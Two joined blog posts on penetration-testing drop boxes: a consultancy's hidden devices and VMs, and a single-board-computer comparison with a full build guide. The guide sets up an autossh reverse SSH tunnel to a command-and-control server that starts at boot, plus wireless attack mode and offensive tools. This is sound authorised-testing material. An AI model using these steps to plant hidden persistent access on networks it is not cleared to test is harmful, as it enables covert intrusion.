When VDA Labs conducts internal penetration tests, application security assessments, or product security reviews we typically use what we call a ‘dropbox’ in order to grant our team members access to the network or system that we are testing. These might be physical devices, if necessary, but also might be a virtual machine that you run on your network for us. Since we’re passionate about security, and the infosec community, we wanted to share a bit about our penetration testing setup.

Why use a dropbox at all?

Clients sometimes ask us why we want to use a dropbox to conduct our tests because, “a real attacker wouldn’t have a dropbox”. Generally we use dropboxes for our tests for these reasons: remote access, testing efficiency, or covert access.

Remote Access for Our Team

VDA Labs is a remotely distributed team, with members across the country, and we work with clients that are spread across the country. It makes sense for most of our work to be done remotely. In fact the only work that can’t be done this way is physical penetration testing. We also feel strongly that teamwork delivers the best results. Other companies might send a single consultant on site, VDA prefers to send a dropbox. That way we can involve multiple minds in the process and get better coverage.

Testing Efficency

While we are typically able to penetrate from external to internal, a dropbox allows us to start the internal assessment at the same time as the external. Also, the reality is that when we are conducting a test our time window is limited. We want to be able to provide as much value as possible to our clients. Deploying a dropbox, with our tools and access set up, allows us to get to testing for security issues instead of sorting logistics. We also consider it best practice to ‘assume breach’ in your network, and using a dropbox follows mindset. Remember that an adversary would be able to take as much time as they want to when infiltrating your network.

Covert Remote Access

Many of our tests are done in a more white-box, purple team fashion, but we also do ‘red team’ engagements. These tests might also include physical penetration testing. That is why we have our physical penetration testing devices. One of our main goals on a physical penetration test typically is deploying a physical drop box. These devices are intentionally small and easily hidden and we employ tools like dnscat2 to establish remote Command and Control to access remotely.

Penetration Testing Dropboxes - odroid, zotac, and raspberry pi

Penetration Testing Dropbox Hardware

We actually have a few different hardware dropboxes that serve some different purposes. These are affectionately named after everyone’s favorite SciFi Drones – C3PO, R2D2, and BB8

and pictured above with a DerbyCon poker chip for scale. If you see them on your network though, these are not the droids you are looking for.
Three-Pee-Oh – Odroid XU4 (pictured center)

This is our original hardware dropbox. We chose the Odroid XU4 platform because it can run Kali Linux and has an OctaCore CPU. This allows for some heavy multi-tasking, which is somewhat common on penetration tests. The photo above shows the bare board, but we do have a case that makes it somewhat less conspicuous. We also typically deploy 3PO with at least one USB wireless adapter for WiFi testing.
BB8 – Raspberry Pi 3 (pictured right rear)

This is a standard Raspberry Pi 3, but with one or two special tricks up it's sleeve. See the white ball (hence BB8 ;P)? That's a motion sensor. And the small circle is a camera.
R2D2 – Zotac Zbox CI327 Nano (pictured read left)

R2 is the newest edition to the fleet. We chose this hardware for it's x86_64 processor, but still a very small frame. It also has dual ethernet adapters, which are handy, as well as internal Bluetooth and WiFi. We also like to set it up as shown below with a few offensive USB adapters – an Alfa 802.11AC wireless adapter and a Crazy RF wireless device for conducting mousejacking attacks.

Zotac Zbox penetration testing dropbox with external wireless adapter
Software Setup

Typically we prefer to run Kali Linux on our penetration testing dropboxes. That gives our testers a familiar environment to work from, with many of the tools needed preinstalled. Recently, however, the Kali ARM images have fallen behind on their kernel versions, so we are considering a move to Ubuntu. :/ We also use Kali for our Virtual Machine setup with a pre-built image that we have configured for our needs. It is very easy for clients to play the VM (on any normal computer or in a virtualized space), after we have shared it with them.

All of our penetration testing dropboxes (physical or virtual) are configured to phone home to a secure server we have set up on AWS to handle sharing access to our team. This is done through autossh and port forwarding. The dropboxes create encrypted SSH connections to our server, and forward their own SSH port to that server so our team can connect. This is done via an autossh command that looks something like this:

```
autossh -M 0 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" \
-NR 1234:localhost:22 user@server.com
```

Lastly, some fun bits

A couple final items really complete the picture. We set up a custom slackbot that monitors logins from our SSH tunneling server. We use that to tell when our dropboxes have succeeded in calling home.

And we also rolled some ASCII art into MOTD on each box so we know when we have connected to the right one.

VDA pentesting ASCII Art MOTD

I compared three single-board computers (SBC) against each other with a specific goal of finding which one would serve best as a “penetration testing drop box”, and maintain an overall price of around $110. Spoiler Alert: At the time I tested these Hardkernel’s ODROID-C2 absolutely destroyed the competition in this space. If you want to skip the SBC comparison and jump right to building your own pentest drop box you can find the instructions below and also here.

Overview

A few weeks ago I was scheduled for an upcoming Red Team exercise for a retail organization. In preparation for that assessment I started gathering all the gear I might need to properly infiltrate the organization, and gain access to their network. Social engineering attacks were explicitly removed from the scope for this engagement. This meant I wasn’t going to be able ask any employees to plug in USB devices, let me in certain rooms, or allow me to “check my email” on their terminals (yes this works).

Essentially, what were left at that point were physical attacks. Could I get access to a terminal left unlocked and perform a HID-based (think Rubber Ducky) attack? If the system wasn’t unlocked, perhaps a USB-Ethernet adapter (like the LAN Turtle) could be placed in line with the system to give me a remote shell to work from. Even if I could get physical access, without any prior knowledge of the network’s egress filtering setup, was I going to be able to get a shell out of the network? So this led me down the path of building a pentest drop box that I could place on a network, could command over a wireless adapter, automatically SSH out of a network, and just be an all-around pentesting box.

Some Device Requirements

Looking into the available options already out there it is very clear that I could either spend over $1,000 to buy something that did what I needed it to do, or try to build one comparable for significantly cheaper. So I set some very specific goals of what I wanted this device to do. Here they are:

- Device has to be relatively unnoticeable in size (could be plugged in under a desk unnoticed)
- Has to be able to be controlled over a wireless interface (bonus points if multiple wireless interfaces can be used so wireless management and wireless attacks can happen concurrently)
- Persistent reverse SSH tunnel to a command and control server

Fully functional pentesting OS (not just a shell to route attacks through)
Decent storage space (32-64GB)
Actually be a usable pentesting box that is not sluggish due to hardware restrictions
Cost around $110 total to build

A Look At the Hardware

I bought three of the most popular single-board computers (SBC) to try to find out which one would be the perfect fit for a pentest drop box that could accomplish my goals. The devices I put to the test are as follows:

Raspberry Pi 3 Model B
BeagleBone Black
Hardkernel ODROID-C2

Left to Right: The BeagleBone Black, Raspberry Pi 3 Model B, and the ODROID-C2

Let's take a look at the hardware specifications of these devices first.

Given the chart above, the ODROID-C2 has the others beat in the Processor, GPU, RAM, Ethernet speed, and Video categories, not to mention the ability to install an eMMC storage module instead of running off of a microSD card. The BeagleBone Black (BBB) has 4GB of onboard flash storage, and more I/O and peripheral options. The Pi 3 does have a built in Wireless adapter, and costs less than the C2 or BBB. Even though the scale was already tipping in the direction of the ODROID-C2 I still gave each device equal treatment in terms of testing them out as pentest drop boxes.

In each case I bought additional items to complete each system. I found relatively inexpensive cases for the boards, power supplies, storage cards, and wireless adapters where necessary. The BBB and Pi 3 only support the ability to use a microSD card as storage where the ODROID-C2 supports microSD and eMMC. So in the case of the ODROID-C2 I actually tested both storage mediums.

Raspberry Pi 3 with microSD Card, and ODROID-C2 with eMMC Module
Operating System

I'm a fan of Kali Linux. I use it on pretty much every pentest I perform. Along with the desktop versions of their distribution they also provide images for a number of ARM devices. Each of the devices I compared have Kali images available for them here.

One could definitely substitute a distribution of choice for their own pentest drop box but I found Kali very easy to install, and familiar given my history with it. In each case it's as simple as

writing the image file to an external storage medium like a microSD or in the case of the ODROID-C2 an eMMC module then attaching it to the device and booting it up.

Wireless

The Raspberry Pi 3 conveniently has a built-in wireless card. The problem with it is that it doesn't support monitor mode or packet injection. While yes this card can still be used as an access point, which satisfies the goal of managing the device over WiFI, it is unable to perform any wireless attacks.

I found this relatively inexpensive ($11.99) wireless adapter that does everything I would want it to. This adapter has an RT5370 chipset which supports monitor mode and worked perfectly when injecting packets with Aireplay-ng.

RT5370 Chipset Wireless Adapter

Neither the BBB nor the C2 include wireless chips on the devices themselves so a USB wireless adapter was required for them. I used the above adapter along with Hostapd to setup an access point (I include a full walkthrough on setting this up at the end) I could connect to in order to manage the device without physically being connected to it. This adapter works with the Pi 3 as well. If you want to perform any wireless attacks with the drop box, and opt for the Pi 3, I recommend this adapter.

Cases and Overall Look

For the BeagleBone Black I bought this black case. I noticed that the device was heating up a bit during heavy testing. For the other two devices I opted for a case that included a case fan.

ODROID-C2 Case With Fan

The ODROID-C2 actually doesn't have very many options available in terms of cases. However, the ODROID-C2 is almost an exact replica of the Raspberry Pi 3 in terms of where ports are located on the device. So pretty much any Pi 3 case should work for it (with one small exception that you will see momentarily). For both the Pi 3 and the ODROID-C2 I used this Performance Pro Case. This case includes a case fan that is powered by two of the GPIO pins located on the boards.

There is one problem that comes from using a Raspberry Pi case for an ODROID-C2: the power supply socket is the only thing that doesn't match up perfectly. This is a problem that can easily be solved with a drill.

After drilling the hole in the case, the power adapter fits just fine.

The three devices in their cases.

Total Hardware Costs

I decided to test each device with a 64 GB SanDisk Extreme MicroSDXC UHS-1 card. This storage amount was something that I personally wanted to have but if you don't need as much storage you can definitely drop the total price by going with a lower storage space. I also tested out an eMMC module for the ODROID-C2. I only tested a 32 GB eMMC module due to the cost being so much higher. You will see later on in this post that the cost is very much worth it. Again, the wireless card for the Pi 3 is not completely necessary due to the built-in card but if you want to do any wireless attacks you will need an adapter.

Field Testing the Drop Boxes

After getting each device setup with my initial requirements of what I wanted from a pentest drop box I performed a few tests to compare how well they actually function as a drop box. I first tested how fast each system could boot up. To do this I timed from the moment I hit enter after typing 'reboot' in a terminal to the moment when the login screen was displayed. I also tested how fast from a reboot I could load the Metasploit console. The ODROID-C2 took 1 minute and 14 seconds from reboot to Metasploit console. This was a full minute faster than the Raspberry Pi 3, and over 2 minutes faster than the BeagleBone Black.

Next, I baselined password cracking speeds on the devices. Granted, I don't think I would ever have a need or really want to do any cracking on these. I have a decent cracking rig I could always send hashes to. This was more a test of the processors in each of them so that I could have a number to visually see which one was operating faster. To do this I simply used the baseline test functionality from John the Ripper (./john –test). Again, the ODROID-C2 came out on top, and by a lot.

I performed port scans with each device using Nmap against a router. I tested both the standard Nmap command without any flags and also with the Service Detection flag (-sV). There really wasn't a huge difference between the devices during this test. They all took around 2 seconds for the basic scan, and around 2 minutes and 23 seconds for the Service Detection.

The last comparison I did between the devices was to see how fast each of them could write data to storage, and read data from storage. To do this I first used 'dd' to write 1 GB of data to disk. Then, I cleared the Linux cache and read the file in again using 'dd'. I also tested buffered and cached reads using 'hdparm'. When it comes to disk reads and writes this is where the ODROID-C2 absolutely destroys the competition. The ODROID-C2 with the eMMC module is about 15 times faster at writing to disk than the Raspberry Pi 3 with microSD and about 9 times faster at reading data. Even the ODROID-C2 with microSD is still about 2 times faster than the Raspberry Pi 3.

For testing write speeds I used this:

```
sync; dd if=/dev/zero of=tempfile bs=1M count=1024; sync
```

For testing read speeds I used this:

/sbin/sysctl -w vm.drop_caches=3
dd if=tempfile of=/dev/null bs=1M count 1024

For testing buffered and cached reads I used this:

hdparm -Tt /dev/mmcblk0

Conclusion

The ODROID-C2 was a much faster and stable build as a pentest drop box. I ended up taking that device with me on the red team engagement, placed it in a location connected to their network and left it up for three days without a hiccup. The wireless interface saved me, as the network I was plugged into wasn't setup to hand out DHCP addresses to new devices. I had to manually discover what the subnet was and manually set an IP address to use to route my traffic. If I didn't have the wireless interface the device would have simply been sitting there not able to connect out to my command and control server.

The ODROID-C2 kept an SSH tunnel to my C2 server up after I setup the interface. The device handled multiple Meterpreter sessions perfectly, and felt as if I had very decent penetration testing system on their network. The other devices were usable but for about the same price you can build a much more powerful drop box.

Below you will find a full walkthrough guide to build an ODROID-C2 pentest drop box w/ eMMC yourself. But if you read this and already have one of the other devices or just feel like building a drop box out of one of the other devices, I have written up instructions for each. You can find PDF's of each write-up here:

- ODROID-C2 w/ eMMC Pentest Drop Box Instructions
- ODROID-C2 w/ microSD Pentest Drop Box Instructions
- Raspberry Pi 3 Pentest Drop Box Instructions
- BeagleBone Black Pentest Drop Box Instructions

Without further ado here is the full walkthrough guide for building the ODROID-C2 Pentest Drop Box with an eMMC module:
ODROID-C2 w/ eMMC Pentest Drop Box Instructions

Hardware Shopping List (links current as of 8/2/2016)

- ODroid-C2 – $41.95
- DC 5V/2A 2.5 mm power adapter – $6.99

32 GB eMMC module for ODROID-C2 (make sure the eMMC to MicroSD adapter is selected as an add-on $1) – $42.95
MicroSD to USB Adapter – $6.99
RT5370 Chipset Wireless Antenna – $11.99
Performance Pro Case for RPi – $9.99

Initial Setup of the Kali Image

Download the Kali ODROID-C2 image from the Kali downloads site here:
Flash the Kali image to the eMMC.
For Windows
Use an eMMC to microSD adapter, then microSD to USB adapter and connect the eMMC to the Windows system.
On a Windows system unzip the kali-*-odroidc2.img.xz file with 7zip
Use Win32DiskImager to write the Kali image to the eMMC.
For Linux
Use an eMMC to microSD adapter, then microSD to USB Adapter and connect the eMMC to the Linux system.
Use the dd tool to image the Kali file to the eMMC (It is very important that you choose the correct storage device here. It is very easy to accidentally wipe out your computers hard disk using this command. In the example below I use /dev/sdb but yours may be different so change accordingly.)

```
xzcat kali-*-odroidc2.img.xz | dd of=/dev/sdb bs=512k
```

Fix eMMC reboot Issue (For some reason the uInitrd file in the boot partition gets corrupted after rebooting. This is a known issue and is documented here: https://github.com/offensive-security/kali-arm-build-scripts/issues/76. The steps below are a workaround that seems to fix this issue for now.)
While eMMC is still plugged into system copy off the /boot partition (Image, meson64_odroidc2.dtb, and uInitrd).
Create a “backup” folder in the /boot partition and copy these files there (Image, meson64_odroidc2.dtb, and uInitrd).
Insert the eMMC card into the ODROID-C2 and boot it up using the power supply, an HDMI cable for display, and keyboard/mouse plugged into the USB ports.
Login to the Kali Linux distribution with the username of ‘root’ and the password of ‘toor’.
Mount the boot partition and also make it auto mount on start up using /etc/fstab.

```
mount /dev/mmcblk0p1 /boot
```

```
echo '/dev/mmcblk0p1 /boot auto defaults 0 0' >> /etc/fstab
```

Create the backup restore script.

nano /boot/backup/restore.sh

Copy the following into /boot/backup/restore.sh

#!/bin/bash

cp /boot/backup/* /boot/

Make the script executable and make sure it runs without error.

chmod 755 /boot/backup/restore.sh

/boot/backup/restore.sh

Add the script to the rc.local.

nano /etc/rc.local

Add the following line before ‘exit 0’.

/boot/backup/restore.sh

Plug an Ethernet cable in to the ODROID-C2 to provide Internet to the device. The ODROID-C2 should automatically attempt to obtain an IP address via DHCP.
Change the root password. This can be accomplished by opening up a terminal and typing ‘passwd’ then hitting ‘enter’. Follow the dialog to change the password.

passwd

Expand the filesystem to cover the entire eMMC. (When the image is flashed to the eMMC it only partitions a portion of the eMMC. You must manually recreate the partition using the below fdisk commands to expand the drive. Run ‘df –H’ before and after to see the difference in the root partition’s available space)

fdisk /dev/mmcblk0

d ###The ‘d’ option allows us to delete a partition

2 ###We select partition 2 to be deleted

n ###The ‘n’ option creates a new partition

p ###’p’ creates a primary partition

2 ###Set partition number 2

Accept default First sector ###The start sector of the disk

Accept default Last sector ###The end sector of the disk

w ###Use ‘w’ to write the changes

reboot ###reboot, then log back in

resize2fs /dev/mmcblk0p2 ###Use resize2fs to grow the partition

Update and upgrade the Kali distribution.

apt-get update && upgrade

Setup a WiFi Access Point

Install hostapd.

apt-get install hostapd

Create the file /etc/hostapd/hostapd.conf. This can be accomplished with the ‘nano’ command.

nano /etc/hostapd/hostapd.conf

Copy the following into the hostapd.conf file. Modify the ssid, and wpa_passphrase accordingly.

Interface configuration

interface=wlan0

ssid=tortugas

channel=1

WPA configuration

macaddr_acl=0

auth_algs=3

ignore_broadcast_ssid=0

wpa=3

wpa_passphrase=@pirateslife4me@

wpa_key_mgmt=WPA-PSK

wpa_pairwise=CCMP TKIP

rsn_pairwise=CCMP

Hardware configuration

driver=nl80211

ieee80211n=1

hw_mode=g

Modify the file /etc/init.d/hostapd.

nano /etc/init.d/hostapd

Find the line:

DAEMON_CONF=

And change it to:

DAEMON_CONF=/etc/hostapd/hostapd.conf

Install Dnsmasq.

apt-get install dnsmasq

Edit /etc/dnsmasq.conf.

nano /etc/dnsmasq.conf

Add the following to /etc/dnsmasq.conf (This will specify dnsmasq to bind to the wlan0 interface and provide DHCP to clients. The range specified below will hand out IP's in the 172.16.66.50-172.16.66.100 range):

no-resolv

Interface to bind to

interface=wlan0

bind-interfaces

Specify starting_range,end_range,lease_time

dhcp-range=172.16.66.50,172.16.66.100,255.255.255.0,12h

Edit /etc/network/interfaces.

nano /etc/network/interfaces

Add the following to /etc/network/interfaces (This will specify a static IP of 172.16.66.1 for the wlan0 interface).

auto wlan0

allow-hotplug wlan0

iface wlan0 inet static

address 172.16.66.1

netmask 255.255.255.0

At this point plug in the Wireless adapter, and attempt to bring up the interface.

airmon-ng check kill

hostapd /etc/hostapd/hostapd.conf

If there are no errors you should now be able to connect to the SSID with a wireless device.

Enable hostapd to start on boot.

update-rc.d hostapd enable

Enable dnsmasq to start on boot. (I had issues with “update-rc.d dnsmasq enable” here because dnsmasq was starting before wlan0 was up and failing to bind to the interface. Instead I found adding “service dnsmasq start” to /etc/rc.local works.

nano /etc/rc.local

Add the following line to /etc/rc.local before ‘exit 0’:

service dnsmasq start

Setup Automatic Reverse SSH Tunnel

This section assumes you have a command and control server accessible on the Internet and that server has SSH enabled on port 22.

Install ‘autossh’ to use to automatically create an SSH tunnel to a command and control server.

apt-get install autossh

Generate SSH keys.

ssh-keygen

#Leave all of the settings default

Copy /root/.ssh/id_rsa.pub to the C2 server.

scp /root/.ssh/id_rsa.pub root@<C2 IP Address>:
/directory/to/upload/to/

Append the contents of id_rsa.pub to ~/.ssh/authorized_keys or create this file on the C2 server.

On C2 server

cat /directory/to/upload/to/id_rsa.pub >>

~/.ssh/authorized_keys

Test the key-based authentication. If all goes well you should end up logged into the C2 server without the requirement of entering a password.

On the ODROID-C2

ssh root@<C2 IP address>

Test ‘autossh’.

autossh -M 11166 -o “PubkeyAuthentication=yes” -o
“PasswordAuthentication=no” -i /root/.ssh/id_rsa -R 6667:
localhost:22 root@<C2 IP Address>

If all goes well an ssh session should be established, and port 6667 should now be listening on the C2 server. On the C2 server SSH’ing to this port should provide an SSH shell to the ODROID-C2. The -M option (11166) is a monitor port.

Add the ‘autossh’ command to /etc/rc.local to establish the SSH tunnel at boot.

nano /etc/rc.local

Add the following to /etc/rc.local

autossh -M 11166 -N -f -o “PubkeyAuthentication=yes” -o
“PasswordAuthentication=no” -i /root/.ssh/id_rsa -R 6667:
localhost:22 root@<C2 IP Address> &

Flag meanings:

-N: Do not execute a command on the middleman machine

-f: drop in the background

&: Execute this command but do not wait for output or an exit code. If this is not added, your machine might hang at boot.

Final Touches

Some tools are pre-installed on the Kali ARM image but not many (sqlmap, wireshark, nmap, hydra, john, aircrack-ng are installed by default)

Install whatever tools you want to have on your dropbox. Here are some to get you started:

apt-get install responder metasploit-framework macchanger
voiphopper snmpcheck onesixtyone patator isr-evilgrade
creddump screen

To go into “Wireless attack” mode instead of using the card as an access point follow these instructions:

service hostapd stop

airmon-ng check kill

airmon-ng start wlan0

airodump-ng wlan0mon ### Or any other wireless attack toolkit…

Optionally, it is possible to connect a second wireless card to use as the “attack” interface.